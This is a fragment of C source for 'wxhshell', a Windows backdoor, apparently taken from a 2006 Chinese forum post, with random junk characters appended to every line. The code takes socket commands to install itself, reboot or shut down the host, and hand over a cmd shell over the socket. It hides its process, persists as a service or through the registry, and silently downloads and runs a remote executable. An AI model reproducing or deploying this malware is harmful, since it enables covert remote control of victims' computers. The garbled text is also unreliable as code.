  } >pu4G+M  
  else { W.3b]zcV  
T0 K!Msz  
    switch(cmd[0]) { 2^[dy>[y0  
  tz ;3  
  // 帮助 cWW?@ _  
  case '?': { 8 a]'G)(ts  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;JxL>K(  
    break; "_/ih1z]  
  } HH*y$  
  // 安装 fd[N]I3  
  case 'i': { )tG. 9"<  
    if(Install()) [}szM^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jPSVVOG  
    else \2@J^O1,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .wNXvnWr  
    break; [IAUJ09>I  
    } `cp\UH@  
  // 卸载 +b 6R  
  case 'r': { 9a*#r;R  
    if(Uninstall()) ^kfqw0!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5W)ST&YPL*  
    else Kk^*#vR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K]|UdNo  
    break; j(%N.f6  
    } evZcoH3~  
  // 显示 wxhshell 所在路径 }Xj25` x  
  case 'p': { iC3z5_g*@  
    char svExeFile[MAX_PATH]; _(-jk4 L  
    strcpy(svExeFile,"\n\r"); <WP@q&^k\  
      strcat(svExeFile,ExeFile); 5x+]uABE  
        send(wsh,svExeFile,strlen(svExeFile),0); #@FA=p[%  
    break; M50I.Rd  
    } M\{n+r -m  
  // 重启 MtkU]XKGT  
  case 'b': { &nIu^,.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F85_Lz4  
    if(Boot(REBOOT)) uZ6krI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C8K2F5c5  
    else { ko9}?qs  
    closesocket(wsh); `,]Bs*~  
    ExitThread(0); CH6 m  
    } 1<ag=D`F_"  
    break; ^+x?@$rq  
    } ^fsMfB  
  // 关机 6*i **  
  case 'd': { G _cJI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c)#P}Ai  
    if(Boot(SHUTDOWN)) X +!+&RAN*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !<M eWo  
    else { )JzY%a SP  
    closesocket(wsh); ?=&; A  
    ExitThread(0); oPi>]#X  
    } @HS*%N"*  
    break; *73gp  
    } c'2/C5  
  // 获取shell .D W>c}1  
  case 's': { o-6d$c}{f  
    CmdShell(wsh); v@zi?D K  
    closesocket(wsh); BpIyw  
    ExitThread(0); 4]r_K2.cc  
    break; M!,H0( @G  
  } D|q~n)TW5  
  // 退出 `n$Ak5f  
  case 'x': { Z1 Nep !  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z>N[veX%  
    CloseIt(wsh); :7K a4  
    break; CY o m  
    } ILm +o$o ~  
  // 离开 8 #4K@nm5  
  case 'q': { V|u2(*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LwB1~fF  
    closesocket(wsh); mGE!,!s}  
    WSACleanup(); cK'g2S  
    exit(1); !Ubm 586!  
    break; necY/&Ld-  
        } 2iNLm6"  
  } iaL@- dg  
  } ~ YH?wdT  
i >3`V6  
  // 提示信息 ?W'z5'|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `O6#-<>  
} F;Q,cg M  
  } FW-I|kK.  
J];Sj  
  return; akvi^]x  
} -+E.I*st  
EL~$7 J  
// shell模块句柄 IWE([<i}i[  
int CmdShell(SOCKET sock) ?L }>9$"  
{  rDFrreQP  
STARTUPINFO si; W_B=}lP@x  
ZeroMemory(&si,sizeof(si)); g@#he95 }  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _^FC 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X9| Z ?jJ  
PROCESS_INFORMATION ProcessInfo; `bQ_eRw}  
char cmdline[]="cmd"; ?("O.<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *aCL/:  
  return 0; =d8Rij-  
} MT/jpx  
{]>c3=~FQb  
// 自身启动模式 6!_Wo\ _%  
int StartFromService(void) 5&8E{YXr  
{ {N~mDUoJ|  
typedef struct #}#m\=0  
{ ndD>Oc}"3  
  DWORD ExitStatus; |jIHgm  
  DWORD PebBaseAddress; }<WJR Y6j  
  DWORD AffinityMask; 3l=q@72  
  DWORD BasePriority; @V:K]M 5  
  ULONG UniqueProcessId; Wx0i_HFR  
  ULONG InheritedFromUniqueProcessId; ]0D-g2!|A  
}   PROCESS_BASIC_INFORMATION; VgbNZ{qk@  
g}%ODa !H  
PROCNTQSIP NtQueryInformationProcess; ;7\Fx8"s[  
h8(#\E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eKr>>4,-P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KZ2[.[(Ph  
3A,N1OXG  
  HANDLE             hProcess; WRZpu95v  
  PROCESS_BASIC_INFORMATION pbi; }sxs-  
+Q+O$-a <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N|i>|2EB  
  if(NULL == hInst ) return 0; !` 1h *}  
eV"%(<{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ke4oLF2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oB 1Qw'J w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w>2lG3H<  
]y {tMC  
  if (!NtQueryInformationProcess) return 0; 3#t9pI4  
IRg2\Hq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  /!ElAL  
  if(!hProcess) return 0; >7BP}5`.;  
30HUY?'K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "]"0d[d  
W|2^yO,dX  
  CloseHandle(hProcess); VV Q~;{L  
w"0$cL3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); br=e+]C Y)  
if(hProcess==NULL) return 0; !sX$?P%U  
jnqp" Ult>  
HMODULE hMod; !EIH"`>!  
char procName[255]; s{dm,|?Jl,  
unsigned long cbNeeded; <pk*z9   
[j@ek  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A}Iyl   
<lB2Nv-,  
  CloseHandle(hProcess); %uo8z~+  
j#f/M3  
if(strstr(procName,"services")) return 1; // 以服务启动 OmuE l>  
L9/'zhiZBx  
  return 0; // 注册表启动 $2Wk#F2c=  
} =\]gL%N-|  
w5z]=dN  
// 主模块 mRx `G(u:v  
int StartWxhshell(LPSTR lpCmdLine) b_Y+XXb<  
{ 9SeGkwec?$  
  SOCKET wsl; (`4&h%g  
BOOL val=TRUE; r)S:= Is5  
  int port=0; I~l_ky|a !  
  struct sockaddr_in door; S+06pj4Ie  
|6d:k~p  
  if(wscfg.ws_autoins) Install(); HJr/N)d  
6teu_FS  
port=atoi(lpCmdLine); G5qsnTxUJ  
r^"o!,H9q  
if(port<=0) port=wscfg.ws_port; :fmV||Q  
[g}^{ $`  
  WSADATA data; N,w6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q<\r}1Dm  
+_:p8, 5o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |!K&h(J|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |6NvByc,  
  door.sin_family = AF_INET; :vi %7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >> cW0I/`  
  door.sin_port = htons(port); ?4SYroXUX|  
q[/g3D\G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _dd_Z40R  
closesocket(wsl); KdR\a&[MA  
return 1; O#igH  
} 26~rEOgJ  
;s3@(OnjZ  
  if(listen(wsl,2) == INVALID_SOCKET) { Rb<| <D+  
closesocket(wsl); qF3S\ C  
return 1; gS(JgN  
} _$*-?*V&  
  Wxhshell(wsl); 'tTlBf7#  
  WSACleanup(); Db2#QQ  
?Ho$fGz  
return 0; Yaq0mef0  
_x5-!gK  
} 2^s&#@n3t  
qbnlD\  
// 以NT服务方式启动 2;]tItd1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lJa-O  
{ _`Kh8G {e  
DWORD   status = 0; ~b8.]Z^  
  DWORD   specificError = 0xfffffff; bY`Chb.  
|\B\IPs{%'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L\Oxyi<{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; akw:3+`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F4(;O7j9  
  serviceStatus.dwWin32ExitCode     = 0; &[\zs&[@y  
  serviceStatus.dwServiceSpecificExitCode = 0; &>B|?d  
  serviceStatus.dwCheckPoint       = 0; !5+9~/;  
  serviceStatus.dwWaitHint       = 0; PvUY Q>Kw  
Bptt"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yp m*or  
  if (hServiceStatusHandle==0) return; :%Z)u:~':  
9F,XjPK=  
status = GetLastError(); yMNOjs'c {  
  if (status!=NO_ERROR) j+< !4 0#  
{ w;VUP@Wm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m";8 nm  
    serviceStatus.dwCheckPoint       = 0; ~l+~MB  
    serviceStatus.dwWaitHint       = 0; 0T3r#zQ  
    serviceStatus.dwWin32ExitCode     = status; >&<D.lx  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zo-Au  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zh !/24p9  
    return; JmF`5  
  } J!rZs kd  
-'W:P'BG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P)TeF1~T  
  serviceStatus.dwCheckPoint       = 0; ?fs#K;w  
  serviceStatus.dwWaitHint       = 0; #tPy0Q H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kH=~2rwm  
} YVHDk7s  
UIQ=b;J9  
// 处理NT服务事件,比如:启动、停止 *|+ ~V/#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bv[*jr;45  
{ h\-jqaq  
switch(fdwControl) 0g#?'sD  
{ /7*qa G  
case SERVICE_CONTROL_STOP: [0+5 Gx  
  serviceStatus.dwWin32ExitCode = 0; 8/34{2048  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q6Zh%\+h(  
  serviceStatus.dwCheckPoint   = 0; `0ju=FP'u5  
  serviceStatus.dwWaitHint     = 0; BJ/#V)  
  { 9.goO|~B~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DA4!-\bt@  
  } J! eVw\6  
  return; nfvs"B;  
case SERVICE_CONTROL_PAUSE: Z.LF5ur  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S67T:ARS  
  break; a-TsD}'X  
case SERVICE_CONTROL_CONTINUE: zGFW?|o<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [TV"mA  
  break; 8<^6<c  
case SERVICE_CONTROL_INTERROGATE: ^_ZQf  
  break; D+_PyK~ jc  
}; X'bp?m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [laX~(ND{  
} .yj=*N.  
kqAQrg]n  
// 标准应用程序主函数 c9E9Rx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T{K+1SPy4  
{ o:Z*F0qm  
+FVcrL@  
// 获取操作系统版本 El&pu x2  
OsIsNt=GetOsVer(); A[':O*iB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &<i>)Ss  
U7fE6&g  
  // 从命令行安装 g?o$:>c  
  if(strpbrk(lpCmdLine,"iI")) Install(); /[#{#:lo2  
L@R%*-a  
  // 下载执行文件 I0jEhg%JZ  
if(wscfg.ws_downexe) { Iei4yDv ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J&:0ytG  
  WinExec(wscfg.ws_filenam,SW_HIDE); +TX p;6pA  
} dl$l5z\  
ow`c B  
if(!OsIsNt) { ;1OTK6  
// 如果时win9x,隐藏进程并且设置为注册表启动 O,1u\Zy/  
HideProc(); VZlvmN  
StartWxhshell(lpCmdLine); SS~Txt75m  
} yxQAO_C  
else \&qVr1|  
  if(StartFromService()) ?R{?Qv  
  // 以服务方式启动 0_y%Qj^e  
  StartServiceCtrlDispatcher(DispatchTable); a m zw  
else o_*|`E  
  // 普通方式启动 Q}.y"|^  
  StartWxhshell(lpCmdLine); |)JoxqR  
_&![s]  
return 0; ^9b `;}).  
}
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只看该作者 1 发表于: 2006-10-10
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